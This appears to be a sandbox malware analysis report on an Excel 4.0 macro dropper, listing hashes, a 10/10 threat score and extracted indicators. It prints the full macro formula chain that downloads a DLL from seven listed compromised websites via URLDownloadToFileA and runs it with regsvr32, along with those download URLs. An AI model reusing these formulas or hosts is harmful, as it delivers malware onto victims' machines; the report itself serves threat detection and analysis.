General

  • Target

    272b60b3dc55d0b51872b73ea386b525c73a969485155d03a069e75027827a43

  • Size

    21KB

  • Sample

    241120-db43tsynhv

  • MD5

    aad9bb5a9083eb3366b135259b92678d

  • SHA1

    1f615089a8d83b1000d5c8c1b2dbe009bb4e2c2a

  • SHA256

    272b60b3dc55d0b51872b73ea386b525c73a969485155d03a069e75027827a43

  • SHA512

    9d385382e7cf1012cceded26d87d7f4906dd2255b329e504e6d731758474502c6170c38663eafed8bf26c37fee3b78cc104898a903d398fc87b9fe2d83699b09

  • SSDEEP

    384:/huAi/NjZS8EibbwBlwegASYrLb5CzgObff9kC+xbX77NWu:/tsNxzXQFCBn9kC+xbL71

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://beetle-j.jp/wp-admin/ErM4mW05tdj/

https://brutobrasil.com.br/pdf/toO18cIP3/

http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/

http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/

http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/

http://bcelectronics.co.za/wp-content/grKnz1V/

http://bebesel.com.tr/cgi-bin/1wy3oHO/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://beetle-j.jp/wp-admin/ErM4mW05tdj/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://brutobrasil.com.br/pdf/toO18cIP3/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bcelectronics.co.za/wp-content/grKnz1V/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bebesel.com.tr/cgi-bin/1wy3oHO/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://beetle-j.jp/wp-admin/ErM4mW05tdj/

xlm40.dropper

https://brutobrasil.com.br/pdf/toO18cIP3/

xlm40.dropper

http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/

Targets

    • Target

      272b60b3dc55d0b51872b73ea386b525c73a969485155d03a069e75027827a43

    • Size

      21KB

    • MD5

      aad9bb5a9083eb3366b135259b92678d

    • SHA1

      1f615089a8d83b1000d5c8c1b2dbe009bb4e2c2a

    • SHA256

      272b60b3dc55d0b51872b73ea386b525c73a969485155d03a069e75027827a43

    • SHA512

      9d385382e7cf1012cceded26d87d7f4906dd2255b329e504e6d731758474502c6170c38663eafed8bf26c37fee3b78cc104898a903d398fc87b9fe2d83699b09

    • SSDEEP

      384:/huAi/NjZS8EibbwBlwegASYrLb5CzgObff9kC+xbX77NWu:/tsNxzXQFCBn9kC+xbL71

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks